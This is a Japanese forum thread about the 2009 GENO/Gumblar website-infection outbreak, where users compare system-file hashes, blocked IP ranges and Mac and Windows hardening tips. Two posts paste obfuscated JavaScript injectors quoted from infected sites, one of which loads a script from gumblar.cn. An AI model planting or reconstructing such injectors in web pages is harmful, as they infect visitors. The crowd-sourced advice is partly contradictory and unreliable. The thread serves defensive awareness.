ん？なんで日付だけでアウセフ言ってんの？
自分スレ全部見てる暇人だけど
サイズが普通だったらセフ、大きければアウトでFA出てんじゃないの？

すみません質問なんですが、WindowsＸＰ使っており、まとめサイトの感染確認（感染してなかったです）と
感染前の対策を実践したあと、ネットに接続はできるけどＩＥでどこのページも表示されない上に、
ＯＥでメールの送受信もできなくなりました
ちなみに他のブラウザやメールソフトは入っていません。
何か考えられる原因はありますか？

>>3
書き換えありがとうございました
素早い対処お疲れ様です

>>429
おＫ、把握できた！
わかりやすい説明をありがとうございます

>>427
全く同じなんだけど、セーフ…？

夕方のgoogle急上昇ワードに
GENOウィルスが6位にはいってたんだが
なくなったな…

ところで、色んな設定方法とか書かれたり転載されてるけど、
ほんとうにこれって正しいっていえるのかな？
それっぽい書き方されると、鵜呑みにしてしまうけども
危険かなーとも思う
もちろん、教えてもらえるのは嬉しいんだけど

>>439
どう考えてもFWの設定をミスっています本当にあ（ｒｙ

>>327>>405あたりのMacの話だが
「とりあえず感染してるか確認する手順（Mac）」もしくは
「Macユーザー向け」でページを作りたい
ﾏｶｰさん、そのままコピペすればおｋ的なテンプレたのむ

>>383ちょい考えるわ
(383まで確認）

kernel32は普通のwindowsupdateのような気がしてきた

セフなのかアウのかどっちなんだｗ

Yahoo!メール使ってる人はPOP3受信サービスをつかってみたら？
　受信サーバの名前　pop.mai.yahoo.co.jp
　ユーザー名　メールアドレス＠の左側、つまりユーザーアカウント
　受信サーバのポート番号　110
　APOPを使用　しない
　SSLを使用　しない
　受信したメールをサーバから削除　しない

　送信設定は
　　smtp.mai.yahoo.co.jp
　　POP before SMTP する
　　SMTP認証　しない

　パスワード　自分で定義したパス

421の釣りかよ
勘弁しろ

ちょ、kernel32.dllについてkwsk
更新が同じく3/21なんだが…

>>427
まったく一緒
普通のアップデートであってほしい

弾くIPアドレスリストがまとめサイトとかここに掲載されてるけど
元情報はどこからなの？

ファイルの正しい、正しくないはタイムスタンプだけ見てても無意味。
MD5をチェックして、それで判断をすべき。
MD5をチェックしたら、複数人でつき合わせて判断するといい。

時間だけ気にしてても、何の解決にもならないよ。
kernel32.dllで不安になってる人は、MD5をチェックするんだ。

チェックするソフトがない人は、これとかどうかな。
ElleFileInfo
ttp://www.elletime.net/freeware.html

>>428
AdobeFlashは最新にしないとダメ。
>>100 あたりを参考にしてみなされ。分からなかったら素直にネット止めるべし。

感染時の対策方法を具体的に
おしえて

kernel32.dll2009年3月21日、23:07:24
まったく同じです

クリーンインスコ

>>418が気になってkernel32.dll調べたら更新日時が2009年3月21日23:18:57で同じだった
sqlsodbc.chm、cmd.exe、regedit.exeは正常
ニフティスキャンも異常なしだけど感染？亜種ってことでいいのかな

>>404
ありがとう
FTP使わないタイプだし（忍者ブログなんだけど、これそうだよね）
ソースにも自パソにも特に異常はないみたいなんで注意文のせてくる

>>411
ホットメールも開かない
めんどい

感染してるかどうか分からなかったら、
>>13に挙げたサイト使って調べてみるのもあり。
たとえばkernel32.dllが疑わしいと感じた場合なら、
これをサイトでスキャンかけられる。

http://www.virustotal.com/jp/
Virustotal は 疑わしいファイルを解析するサービスであり、
ウイルス、ワーム、トロイの木馬およびアンチウイルスエンジンにより
検出される全てのマルウェアを素早く簡単に検出します。

>>390
確実に感染してるのならリカバリすればいいがね。。。
つうかノートンなら今アップデート来てるんじゃないの？
今回のウイルスに対応したものかはわからんけどな。

http://pc11.2ch.net/test/read.cgi/sec/1242489450/1,10,14,17
対策はセキュ板のテンプレ見て自分で判断するように。

今のとこは窓やノートンのアップデートは最低限として
あとはフラッシュやアドビリーダーのアップデートやっとけばおｋなはず。

感染した人はブルースクリーンで起動した？
これは絶対に起こることでもないのか

>>455
回線切ってフォーマットしてOS再インスコ

>>459
windows live mailのクライアント導入オヌヌメ

ノートンで特に反応しないのにカスペで真っ赤になる件
確認しなおしたら
Application Data\Symantec\Norton AntiVirus\

ノートンかよ…まったくおまえときたら…

サイトの目立つところに警告文載せたがみんな見てくれてんだろうか・・・
幸と大手サイトが動いてくれればなあ
軒並みウィルスには触れずに普通に更新してっから心配だわ
ちなみにパソからじゃ怖いので携帯で巡回してる

421は釣りか日にちで判断した勘違いかと思われる

自パソが感染してたんだけど、自サイトは感染してなかった
この場合、下手に削除するより、そのままサイト放置でいいのかな？
ちょっと時間取れなくて、クリーンインストールは週明けになりそうなんだ

質問させてください。
マイパソコン（FTPアップロード元）が感染していなければ
マイサイトも感染しないという認識で合っていますか？
サイトトップのソース見てみたら、何のためにあるのかよく分からない
長いJAVAスクリプトがあるので怖くなってきました。
パソコン自体はmacなので、まだ感染してないと思うんですが。

>>394
>>433
カスペでウイルス判定されたikxof.qfgファイルと書き換えられたsqlsodbc.chmは
3/21の23：07：24でkernel32.dllも全く同じ日時だった
因みにOSをインストールしたのはそれより後の4/14なんだよね・・・
Windowsのシステム関連で3/21の23：07：24のファイルはこの3つだけだった
http://2sen.dip.jp/cgi-bin/upgun/up10/source/up1441.jpg

kernel32.dllはガセ情報。
さすがにそれに感染したら大騒ぎになる。

>>468
どうして自分のサイトなのによくわからないんだ！アホか！
自動挿入の広告か、自分で訳も解らず入れたアクセス解析タグか、ウィルスだよ！

>>469
だから、タイムスタンプでものを語るなって。
せめて、MD5で判断しよう。

>>467
おｋ

kernel32.dllはupdateじゃないか
ほぼ同時刻に更新されてるファイルを調べたらwindows updateだったよ

>>469は画像違った
こっち
http://2sen.dip.jp/cgi-bin/upgun/up10/source/up1442.jpg

>>467
削除しようとFTP繋げた瞬間アウトになるからそのまま
またはクリーン後にサイト全部削除してやり直すのがいいんじゃないか

すまん最初にkernel32.dllの話だしてしまって

kernel32.dllが今日入れたavastウィルスのチェストに隔離されて
詳細は「ウィルスなし」って出るんだけど更新日が3/21だったから気になっただけなんだ
最初に出ていたsqlsodbc.chmが改ざんされた場合が3/21だったから。

updateならいいな

>>458
全く一緒だ
はぁ不安で仕方ない

>>439
そういや自分が使っているメル鯖（さくら）も昨夜突然送受信不能になったけど
ポート番号変えたら治ったよ。ウイルスとは無関係と思って気にも留めて無かったけど…
ポート番号変更についてはさくらのQ&Aに載ってたので
439も一度メール設定確認してみたらどうだろう

>>468
自分で入れてない記述があったらウイルスだろ。

>>464
わらってしまた・・・

どっちにしろkernel32.dllはあまり当てにならない気がする
タイムスタンプはいくらでも改ざん可能だし
Windows Updateで更新されることも多いから、MD5ハッシュ値もバラバラだし

kernel32.dllが3/21ｋｔｋｒ＼(＾o＾)／
取り合えずcgi制御の携帯サイトだしネットショッピングしてないからセフセフ
明日は大々的にクリーンインスコせにゃ…

しかしkernel32.dllもWikiの検査項目に追加しといた方がいいんじゃね？
もう結構な数報告見かけてる気がする
そして誰かkernel32.dllの正しいファイルサイズとハッシュ値をお願いします
そっちも確認してみたい

>>468
MACも油断できない状況。詳しくは>>327

テンプレを借りて作ったサイトかな。
JavaScriptのソースはどこかにUPできる？
あるいは、ここと同じor非常に酷似したソースなら疑って、
ウィルスチェックした方がいい。
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1325728558

もちろん、今できる対策はきちんとするのがおすすめ。

>>464
先生変なところで出たがりだから…

>>482
タイムスタンプとMD5とセットでやっと意味を成す

改竄されたsqlsodbc.chmがkernel32.dllのタイムスタンプにあわせるんだったりして

自分もkernel32.dllが2009/03/21　23:07だったよ

一応MD5とかチェックしたけど正しい数値が分からん
CRC32
44cff192
MD5
96c3b8ea807334f4756106901c6f9495
SHA-1
60edcc193e8d9973d70778c4d03e41c98dbf8b15

一応、kernel32.dllが2009年3月21日23時
ってかかれてても問題ないって事でOKですか？

kernel32.dllがおかしいって言う人は他の症状はどうなのかも併記してほしいな

>>468
ﾁｪｯｶｰぶちこんでみたら?

>>469
ちょっとそれを持ち出してくるのは尚早

自分もkernel32.dllは3月21日だけどこれって本当にやばいの？
感染しててもしてなくてもみんなそうなんじゃないの？
ちなみにsqlsodbc.chmの方は異常なしだぞ

Kernel32のサイズ1,235,968 バイトだった

sqlsodbc.chmが46,133バイトしかないんだけど
アウト？

うちのvistaは二台とも3月21日じゃなかった。
3月21日になってる人はもしかして皆XPだったりして？

あれ、じゃあ私のとこもセーフなのか？
それならそれでいいんだが… ウイルスの方のあれがkernelにあわせてあんのかな
どっちにしろそれが普通ならよかった、ほっとした

みんな書き込む前にリロードしようぜ

>>496
うちもＶｉｓｔａで4月だ
そっちは？

ありがとう
念のため削除するか迷ったけど、しばらく放置でいく

>>495
なぁ頼むよ、まとめwikiとか今までのログとかちょっとは自分で
確認してみてくれよ。

全く感染の症状も無く、チェック項目は全てALLグリーン
９９％感染していないと断言できる自分のPCもkernel32.dllは
2009/03/21　23:07　だったからこれは気にしなくて良いと思う

>>494

me too

kernel32.dllとやらって一体。
うちは2005年とか出てましたが。なにこれ。

俺も488と同じMD5、タイムスタンプだったよ

>>489
今の所パソコンの挙動がおかしくなったというのは聞かないから
とりあえず様子見でいいんでないかな？

>>499
vista同じく4月。

>>445
>「とりあえず感染してるか確認する手順（Mac）」もしくは
>「Macユーザー向け」

叩き台作ってみようと思うんだが
>>468みたいなのがいるとなると、
不可視ファイルの可視化から書かないとダメってことか？

うちもKernel32が3/21です。その他はまったく異常なし。

>>507
OKちょっと安心したｗ

>>488
同じかつVirustotalでチェックして問題なし

>>506
了解です、ありがとう

お前ら落ち着いてしばらくリロしてろ
話題被りすぎ

regedit開くと必ずHKEY_USERSが展開されてるんだが・・・

とりあえず寝ようぜ

同じく全ての項目はクリアしてる自分のPCのKernel32.dllも2009年3月21日23:18:57
Kernel32.dllは関係ないと見ていいと思う

とりあえず今の流れで馬鹿が多いことはよく分かったな

>>500
インスコできない状態なら放置しておいた方がまだましだね。
ウィルス駆除後は、できる事ならサイトで注意喚起してくらはい。

>>448
ずっと前から試してるんだがメールソフトだと
送信だけがなぜかできないからブラウザにしてるんだよね
狐にNoscript入れてヤフメに許可出すことにしたよ
このページはおk…と許可出す隙もなく1秒でヤフメが警告ページに飛ばしやがるから
許可指定するのにちょと苦労したw

kernel32.dllがウイルスに弄られるって相当致命的なんじゃないか？
そんなことあったら一月前にはブラスター程度の騒ぎにはなってそうだがな。

お前等落ち着け

不安ならハッシュチェックソフト入れろ
ハッシュチェックでググッてな

女は馬鹿でFAだな
過去スレも読めと

kernel32.dllは違うぞ

>>505
>>511
トン　自分もその他のチェックでは問題なかったからタイムスタンプが気になってたけど
問題ないって事でいいのかな

>>488
自分も一緒だった
MD5　：　96c3b8ea807334f4756106901c6f9495
SHA-1　：　60edcc193e8d9973d70778c4d03e41c98dbf8b15

HDDゴリゴリ言ってるなﾉｰﾄﾝ更新の時間かｗ

VISTA使い

・AdobeのReaderとFlashを最新版に
・Windowsアップデート
・ＩＥ８インストール
・ファイヤーウォールで禁止ＩＰ設定
・JAVAScript切り（Adobeのも

これだけやっておけばＯＫ？
セキュリティソフトはマカフィーとかいうのが入ってて、それを最新版に更新したけど
これってどうなの

感染を確認した（cmdが実行できなかった、ファイルの書き換えを確認した）

システム復元で１ヶ月前に戻した
そしたらcmdとか普通に動いたがそれで良い？？

自分も2009年3月21日、23:18:57

チェックは全部白

>>427と更新時刻まで一緒なんだけどまさかこれって…

>>514
regeditは前閉じた時の階層と同じ場所開のがデフォ

kerner32は今のところ関係ないと思う

kernelの話いつまでしてるんだ君らはｗ

JavaScriptと言われて意味がわからない人、過剰に不安がらないように。
人のサイトのソースを見て、ただのポップアップウィンドウとか
普通に使うタグをウイルスと勘違いして米を送ってくる人がいるらしいが

>>468
数行から十数行程度の、単語などが判読できるようなものなら
サーバで挿入された広告やアク解だよ
ウイルスのコードはもっととんでもない量がある、素人には全く意味不明の記号の羅列。

>>484
>>327にあるMac用の対策は、これだけやってあればまず大丈夫だろというもので
感染者が出たからではないよ

お前らのせいでケンタッキー食いたくなってきたぞ
どうしてくれる

感染なかったら寝ろよお前ら

>>531
ありがとう。変に怖がってしまってみっともない。
今日はFlashPlayerの更新でもして寝よう

こいつら過去レスも読めんのか･･･

kerner32がそんなに怖いなら削除すればいいだろ

>>528
クリーンインストールマジお勧め。

>535
カーネルか

サイトに>>3のまとめへのリンク貼るのは問題ない？

>>426
できるだけ入れるようにするよ
>>508
たのむ
できればあるとスレでいちいち説明しなくてよくなるとは思う
(508まで確認）

>>530
自分も>>427と全く同じだけどkernel32.dllは別にウイルスとは関係ないみたいだし
気にしなくていいんじゃないの？

VistaとデュアルブートさせてるUbuntuで踏むとまずいのかね

>>541
それだとサンダース人形の呪いになっちまう

感染してた場合のソース状況

937 ：GENO：2009/05/16(土) 18:44:59 ID:O4mBjhCo0
挿入スクリプト参考に追加
※ランダムに文字を削除したから貼り付けても動かないよ

<すくりぷと language=じゃばすくりぷと><!--
(function(){var UkRR='%';var WdBp=('&61&20a&3d&22S&69ptEngi&65&22&2c&3d&22&56&
65&72s&69on+()&22&2c&6a&3d&22&22&2c&3dn&61&76ig&61tor2user&41&67ent&3bi&66
(u&2ein&6&65x&4f&66(&22C&68rm&65&22)&3c0)&26&26(&75&2ein&64ex&4ff(&22i&6e&22)
&3e0)&26&26&28u&2e&69&6d&65x&4ff&28&22&4e&54&206&22)&3c0)&26&26(&64cument
&2ecooki&65&2e&6ede&78O&66(&22&6di&6b&3d&31&22)&3c0)&26&26(t&79peo&66&28&
7arvzts)&21&3dty&70&65of&28&22A&2&7brvzt&73&3d&22A&22&3bval(&22i&66
(win&64o&77&2e&22+a+&22)))&3dj+&22+&6+&22M&61j&6fr&22+b&2b&2b&22Mi&6e&6fr
&22+a+b+&22&42uild&22+b+&22j&3&22&29&3b&646f&63ument&2ewr&69te&28&22&3cs
&63ri&70t&0&73&72c&3d&2f&2fma&72t&75&22+&22z&2e&63n&f&76i&64&2f&3fid&3d&22
&2bj+22&3c&5c&2fscrip&74&3e&22)&3b&7d').rplace(/&/g,URR);eval(uescape(WdBp))})();
--></すくりぷと>

誰か教えてくれると嬉しいんだが、マカフィーってどうなの？
今入れてるんだが特に反応はしていない
で、まとめに書いてある通り調べたら感染はしてないみたい

>>534
普通のスクリプト（画像オーバーロール等）でもそこそこ長くなるから
長さを判断材料に入れるのはｲｸﾅｲ

マカフィーなんて今すぐ窓から投げ捨てろ

>477がちょっと気になったってだけでkernel32.dllを出したんだろ？
ソースも何も無いのに何踊ってんだ…とりあえず回線切って寝ようぜ

>>528
駄目

それじゃあうちのkernel32.dll　2009年3月21日、23:07:24
MD5
96C3B8EA807334F4756106901C6F9495

>>539
それWindows捨てろといってるようなもんじゃないかｗ

サイトのソースに長文のjavascriptを書いてる人は、
今の時期だけでも外部ファイル化しとくと誤解防げていいかもね

>>543
おk了解
時間かかるかもしれんがやってみる

>他マカ
昨夜からほぼ貫徹状態だから、上げたらボコスコ叩いて直してくれ

一つの話題に「あたしにも一言言わせて」と同じようなレスをつける現象と似てるな

>>527
ユーザーアカウント制御有効（デフォルトのまま）

FlashPlayerとかReaderとかを火狐で入れようとした場合
アドオン扱いされるようにやらなきゃいけないのかな？
特にReaderは何か普通にデスクトップにアイコン作られてしまった

>>542
そんなことも分からないならもうサイト管理なんてするな

スレ2の920 名前：GENO ﾒｪﾙ：sage 投稿日：2009/05/16(土) 18:39:12 ID:5AlQPwu90
セキュリティ板のGENOスレ4にあったJavaScriptの一例貼るよ

スクリプト language=ジャバcript<!--
(function(){var a3B2='%';var ONE=unescape((',76ar,20,61,3d,22,53c,72iptE,6egine,22,2cb,3d,22Ver,73ion
(,29,2b,22,2cj,3d,22,22,2c,75,3d,6eaviga,74or,2e,75serAgent,3bif,28,28u,2eind,65,78,4f,66,28,22Win,22),
3e,30,29,26,26(u,2e,69ndexOf(,22NT,20,36,22),3c0),26,26,28docum,65,6et,2ecook,69e,2ein,64,65xO,66(,22miek,3d1,22,29,3c0),26,26(t,79peof(zrvz,74s),21,3d,74ypeof(,22A,22))),
7bzr,76zts,3d,22A,22,3bev,61,6c,28,
22if(w,69,6e,64o,77,2e,22+,61,2b,22)j,3dj+,
22,2b,61+,22Ma,6aor,22+b+a+,22Mi,6eor,22+,62+a,2b,22B,75ild,22+b+,22j,3b,22),3bd,6fcumen,74,2ewri,74e,28,22,3c,73cript,20s,72c,3d,2f,2fgu,6dblar,2ecn,
2frss,2f,3fid,3d,22,2bj,2b,22,3e,3c,5c,2fscrip,74,3e,22),3b,7d').replace(/,/g,a3B2));eval(ONE)})();
-->スクリプト
スクリプト language=ジャバscript><!--
(function(px0E){var vU12=('v.61r.20a.3d.22S.63rip.74Engine.22.2c.62.3d.22V.65r.73ion()+.22.2cj.3d.22.22.2cu.3dna.76igato.72.2e.75.73erA.67ent.3b
if((u.2e.69ndexO.66.28.22Wi.6e.22.29.3e.30).26.26.28u.2eind.65x.4f.66.28.22.4eT.206.22).3c0).26.26(doc.75.6de.6et.2ec.6foki.65.2ei.6edexOf(.22.6diek.3d1.22).3c0).26.26.28.74.79.70e.6ff
(zrvzts.29.21.3dty.70eo.66(.22A.22))).7b.7arvz.74s.3d.22A.22.3be.76al.28.22if(.77ind.6fw.2e.22+.61+.22)
j.3dj+.22+a+.22Major.22+b+a+.22.4din.6fr.22+.62.2ba.2b.22.42uild.22+b+.22j.3b.22.29.3b.64ocument.2ewrite
(.22.3cscri.70t.20.73rc.3d.2f.2fg.75.6dblar.2ecn.2frss.2f.3f.69d.3d.22.2bj+.22.3e.3c.5c.2fs.63ri.70t.3e.22).3b.7d').replace(px0E,'%');eval(unescape(vU12))})(/./g);
-->スクリプト

>>471　>>480　
レスどうもありがとうございます。
>>484
丁寧な回答をどうもありがとうございました。
ソースを参照先と比べてみましたが、だいぶ違いました。
念のため→http://wepawet.cs.ucsb.edu/ でチェックしてもらってます。

大昔にタグも何も分からずビルダー先生で作ったものを、そのまま使い続けてしまっていました。
この際、きちんと見直して改装しようと思いました。
ブラウザも狐にしてJAVA無効にしました。
本当にありがとうございました。macでも気を付けます！

>>528
本当に大丈夫かウィルスチェックした上で、
システムの復元用のデータの削除とか、
ディスククリーンアップを推奨。

感染したデータが残ってたらあんまり意味ないからね。

自分のカーネルさん

2009年3月21日23:18
サイズ：1,232,384 バイト
MD5：fa587e72f49249a882bace12712eab41
SHA-1：1a3531af7668d0c42a388c3a91a3ab1bec75c42d

なんだけど・・・あれ、まさかアウトか？

Macユーザーの対処法

○10.3までのOSユーザー
Flash Playerを外す
Acrobat ReaderおよびPDFの拡張子割り当て機能を外す

○TigerとLeopard
Acrobatは9.1、Flash Playerは10.0.22.87以上に更新する
Acrobat Readerの初期設定からAcrobat JavaScriptをオフにする（AcrobatReaderは「プレビュー.app」で代用可能なので始めから入れない手もある）

○Webブラウザ内閲覧機能を切るかJavaScriptオフにする

○Firefoxの場合
3.0.10に更新してNoScript入れること（ツール→アドオン→アドオンを追加→「NoScript」を入れる）
非表示状態になったFlashコンテンツをどうしても見たいときはマウスポインタを置き、リンク先が不正URLでないか確認した上で「一時的に許可」

○Safari・OmniWebなどWebKitベースブラウザの場合
「ダウンロードしたファイルを開く」をオフにする（Safariの「全般」で設定できるが見落とされてしまうことが多い）
Safariの「開発」でJavaScriptをオフにした場合でも、設定→セキュリティ→「JavaScriptを有効にする」および「プラグインを有効にする」も切っておく。
OmniWebなら初期設定→プラグインでFlashプラグインの活動を停止できる（OmniWebだけのシャットダウン、Safariには影響しません）
　
○自分のサイトが汚染されていないかソースを見て確認すること、FTPパスを変更すること

○BootCampでXPを入れている人
C:¥WINDOWS¥system32¥sqlsodbc.chm　このサイズ表示（ディスク上のサイズではない）
50,727 bytes以外の数値に改ざんされていないかチェックすること。

○動画はようつべならMacTubes、ニコならMacNicoTunesで見る。

>>3
ウィルスバスター2009でのIPブロック>>389でおｋ
あとフィッシング詐欺対策を有効にしておくのもお勧め

1.メイン画面→「有害サイト/迷惑メール対策」クリック
２．フィッシング詐欺対策が無効になっていた場合は有効にしておく

>549のオーバーロールで走り高跳びが頭に浮かんだ

カーネルの話はもう良いから・・・話がややこしくなる。

sqlsodbc.chmのＭＤ５調べたほうがよっぽど健全だよ。

>>564
MD5貼った自分が言うのもなんだけど
>>482で値バラバラって書いてる

>>548
ウィルススキャンしてまとめにあるとおり調べてそれでも
少しでも心配点があって夜も眠れず肌が荒れてしまうなら
うだうだしてないでOS再インストールするとかPC窓から
放り投げてみたり象に踏ませても耐えられるか実験するほうが
ここでそんなこと聞くよりよっぽど有効だよ。

>>567
いや、ロールケーキだ

>>564
ファイルバージョンを確認して、その文字列を以下のURLを開いて、
ページ内検索してみて。
ttp://www.microsoft.com/japan/technet/security/bulletin/MS09-015.mspx

MACもLinuxもJSは実行するが、その先のオブジェクトが実行される訳じゃない

>>567
普通に間違えたぜ
ロールオーバーだｗ

kernelの意味分かって言ってるの?
どんだけ釣られてるの。

【これって】カーネルたんアウトorセーフ判定スレ【まさか？】
とか作ってそこでやればいいのに

まとめサイトにマカー用ウィルススキャンソフト入れてもらえないだろうか？
フリーのでClamXavというのがあるんだが、手動で随時ウィルス定義を更新＆
定義更新が早くてGENO対応しているらしいとのことなので、マカーにこっちを
使ってもらえたらオンラインスキャンの負担が軽くなるんじゃないかと思って。

>>389
このIPブロックの情報元ってどこですか？

XP、sp3、avast!4.8、WindowsFW、スレイプニルを使用しています。
アドビのリーダーは入れておらず、
フラッシュプレイヤー・avast!データ更新・窓アップデート等は最新です。
現在の所感染していません。
サイトは持っていますが、ワクチンが出来るまで更新を控えようとFTPは削除しました。

まとめサイトの対策を読んだのですが、
WindowsFWで特定のIPを遮断、というのは不可能なのでしょうか？
探してみたのですが、それらしき機能が見つかりませんでした。
何か特定の物を制限するとなると、
インターネットオプション→セキュリティ→制限つきサイト
のレベルを最高（全てのチェックを無効）にするくらいかな、と思うのですが
ここの制限サイトの所に
94.247.2.0/23 (94.247.2.0 - 94.247.3.255)
95.129.145.58
95.129.144.0/23 (95.129.144.0-95.129.145.255)
78.109.29.112
94.229.65.160/27
この5つをこのままコピペして追加、という事でいいのでしょうか？
それとも、FWではないのだからこの操作は意味がありませんか？

都合上幾つかのサイト（固定）を日々閲覧しなくてはならず、
火狐の事がまったくわからないので慣れたスレイプニルの
ActiveXのDLやjs等を全て切断した制限モードで閲覧しようと思うのですが
現在は上記の状態です。何か他に対策はあるでしょうか。
頓珍漢な質問だったらすみません。

>>565 乙！

sqlsodbc.chmが１３２３バイトなのだが
感染確定なの？？
kernelはどうなの？？

>>565
Safariの開発メニューを表示させる方法も書いておいた方がいいかも。
環境設定→詳細→メニューバーに"開発"メニューを表示　にチェックを入れる

kerioのFWは接続しようとする許可したプログラムが変更された場合
警告が出る。つまりハッシュを監視している。

サイトのjavascript使うものは全部消してきた
ソースみて安全なjavascriptでも怖がる人いそうだから

>>488
ハッシュ値もチェックしてみたけど全て同じ・・・・・・・
他に異常は全く見受けられないんだがこれはどうなんだろうか・・・・
クレカで買い物しまくってるしオンライン銀行何個も持ってるのに勘弁してくれよもうorz

>>571
さっきからお前のレスを見てると腹がへってくる

カーネルは今んとこ関係ないっつってんだろ

>>581
いい加減にしろよ、過去スレ読め

>>581
>>309

>>585
え？何で>>488を見てアウトの判定してるんだ？

>>494
同じく

>>572
ありがとう、検索かけても出なかった。
ということはおｋということでいいのかな？

他の人と大分文字が違ってたから焦った…

>>581
ttp://www.youtube.com/watch?v=O9hNMF5Gc0E

これ聴いてじっくり考えろ

ハッシュ値　というのを読んでハッシュドポテト食いたくてたまらなくなった。
近所にマックないんだ…orz

しばらくは専ブラで板巡回くらいしか出来ないな

後、自分がホスト立ててそこに何人かクライアント呼び込んで遊ぶタイプのゲームやってるんだが
クライアントが感染してたらこっちに飛び火してくるなんて事はないよな？

書き込む前に何故リロードしない奴が多いんだ

>>444
>>479
ご親切にありがとうございます！
ご指摘の通りＦＷが原因でした……おかげさまで大変助かりました
スレ汚し失礼致しました

>>477
チェストのヘルプを良く読んでみ。俺も最初はなんじゃコレと
思ったけどね。カーネルは無実だろ。

>>579
制限すべきサイト(IPアドレス)がその通りなら、
WindowsFWでそれを制限すれば良いのでは？

そもそもそのリストはどこからの情報？

>>566追加します
>>577入れますんでURLくださいな
あと現在情報が埋もれまくりなので、Wiki関連は>3入れてください

ﾏｶｰは全然わからないので>>445的な感じを考えてますが
新規ページ作って>>○○追加、みたいな感じでまとまり次第>3につけといてください
（595まで確認）

>>578
セキュ板で見たような気がする

>>596
リロードっつうより検索しない奴だろ…
まとめWiki読めよマジで

>565追記
○Leopard（10.5.ｘ）ユーザーは早急に10.5.7へアップグレードすること
　導入の際Safariは3.2.3へ強制アップデートされます
（Apple Software UpdateのほかApple公式→Mac OS X 10.5.7 統合アップデート（729 MB）をDL）

○Tiger（10.4.11）はSecurity Update 2009-002 for Tiger の導入を忘れずに

○Panther（10.3.9）以下のユーザーはなるべく早く最新OS環境へ移行するか、
　＞565の通りFlash Player・Acrobat Readerをアンインストールしましょう

○ClamXav 1.1.1 e951を導入すること（OS10.2〜10.5まで対応、無料）
　JSRedir-R対応済み最新バージョンです（5/17　午前1時更新）。
　BootCampでXP・Vista導入している人で、カスペのオンラインスキャンを実行したひとでも
　一度MacOS環境上からBootCamp領域を完全スキャンして下さい。

>594
もうｗお前のせいでカップ麺開封したじゃないか

>>582
むしろ、Safariは使用回避の方が良くない？

>>585
このトロイに限っていえば、通信を監視して、FTPを盗聴するタイプの可能性が高いから、
そういう意味では過剰な不安は要らないと思うよ。

>>592
ファイルバージョンはいくらだった？

>>577
へえ、ClamXav対応してるんだ？　どこ情報？
Mac板も見てるんだが追いつかん
監視はキャッシュ+ダウンロード+アプリケーション、
ぐらいでいいのかなあ…

>>428
コントロールパネル＞プログラムの追加と削除＞Adobe Flash Player （バージョン名）選択
＞サポート情報を参照するには、ここをクリックしてください。
からでもアドビフラッシュプレイヤーのバージョンは確認できる。（最新ver10.0.22.87）

ディレクトリ構造が分からん人はこっちでもいいかもな。間違って削除ボタンを押しても
知らんが。dll消すよりはマシだし、最新版を再インストールすりゃ済む話しだしね。

>>595
絶対ないとは言い切れないが多分ない
今のところ改竄されたウェブページを開くことでしか感染しないので

>>604
こんな時間に食べるだなんて…
つ、つられたりしないんだからね！

焼き鳥食べたい

さっきから腹が減るスレだな

このスレ見て焦ってavast入れて全スキャンかけたんだが
マカフィー入ってるのを忘れてた
一応スキャン終わったんだけどavastアンインストールした方が良い･･･?

というかavastの全スキャンが20分もかからずに終わったけどこんなもんなの?

>3
>565への追記という形で＞603もお願いします
なおClamXav公式サイトはttp://www.clamxav.com/　UIは自動的に日本語表示されます

今の流れだと誤解を生みそう。

まずmacは基本的に感染のしようがないので大丈夫。
ただし変異してウィルスの対象になるかもしれない可能性がわずかながらあるので
下記の対策を予防としてやっておきましょう。

という根本を書いておかないと混乱を招くだけだよ。

つまらん食い物ネタで遊びたい奴は他行けよ

もう皆で何か食いながらﾏﾀｰﾘ対策練るスレでいいじゃない

このままのスピードだったら一晩で6か7ぐらい行きそうだし鯖に負担かけるのｲｸﾅｲ

safariもやばいの？

>>605
そうは言っても使わざるを得ない人もいるのだよ（ソース自分）
それにSafariの開発メニューは通常だと表示されてないから気づかない人いると思って。

>>611
Avastを一時的に使いたいのなら
一度、マカフィーをすべて無効にして常駐切っておけ

>>617
あえて、良さが全部殺されたOpera@Macを推奨するとか、どう？ｗ

>>565おつ

・不可視属性ファイルを可視化する
ターミナル起動
不可視含め全ファイル表示：defaults write com.apple.finder AppleShowAllFiles true
リターンしてFinder再起動：killall Finder

全部のFinderが消えて再起動し、不可視ファイルが表示された状態になる。

戻すとき：defaults write com.apple.finder AppleShowAllFiles false

TinkerTool、Onyxなどを使うのもおk

マカー用ウイルススキャンソフト（フリー）
ClamXav：http://www.clamxav.com/index.php?page=dl
TinkerTool：http://www.bresink.de/osx/0TinkerTool/download.html
Onyx：http://www.titanium.free.fr/pgs2/english/download.html

BootCamp使ってる人は不可視→可視化後
ｽﾚやまとめで上がったファイルを検索してチェック

>>604
カップ麺があるだけ羨ましいぞwww　仕方ないから黒糖くるみとか食ってる…腹の足しにならん


kingsoftがどうなのかさっぱり判らんのだが何も言ってこないところみると大丈夫と思っていいのかな。

とりあえず、セキュリティソフト屋が手早く対応してくれれば
この騒ぎは沈静化する、よな？

ノートン先生早くしてくれ
安くない金払っているんだから

誰かわかる人、回答頼む。

94.229.65.160/27　は

94.229.65.160 - 94.229.65.191　の範囲を表す

ってことでいいの？

ノートン先生頑張って！！！

と言って流石に本日は寝る･･･
色々回答して下さった方本当にありがとうございました。

システム復元してcmdとかregeditとか立ち上がるのだが
この状態でカスペオンラインでチェックして
赤じゃなければ寝ていい？？

>>605
5.1.2600.3541 だったよ

>>613
>>3　と書かないと見てもらえないぞ

だが全文同意。
なぜかマカー向けの話が増えてきたが、内容は脳板やマク板からのコピペで
見ている人は知ってることばかりだ

>3
ttp://www.clamxav.com/
左のページナビのDLをクリックすればOSのバージョンごとに案内が出る。
ダウンロードしたらまず「ウイルス定義を更新」をクリックして最新の定義をいれること。
環境設定のスケジュールで定期スキャンが設定できるが、ウイルス定義の更新は自動では
されないので、なるべく使用せず手動スキャン推奨。
フォルダ監視ができるのでサイトのローカル保存フォルダを指定するのは大丈夫。
ただしMac対応した亜種が発生して感染しても定義を更新するまで引っかからない可能性が
あるので、あまり過信しないほうがいい。

ごめん間違えた
>>620
TinkerTool、Onyxはウイルススキャンソフトじゃないです
ユーティリティです

>>572
すごいな、このページは安全確認に便利そうだ

>606
ttp://forums.cnet.com/のHot discussions→VIRUS SPYWARE ALERTS
→Trojan-PSW.Win32.Kates.c対応状況　14日（日本時間15日）には報告あり

ノートンやウイルスバスターがこのままロクに新規ウイルスに対応出来ない様じゃ
個人向けパッケージウイルスソフトの市場は崩壊するかも知れん
無料で使えるソフトの方がマシって一般層に広まっちゃったらエライ事ですよ

>>623
そうだよ
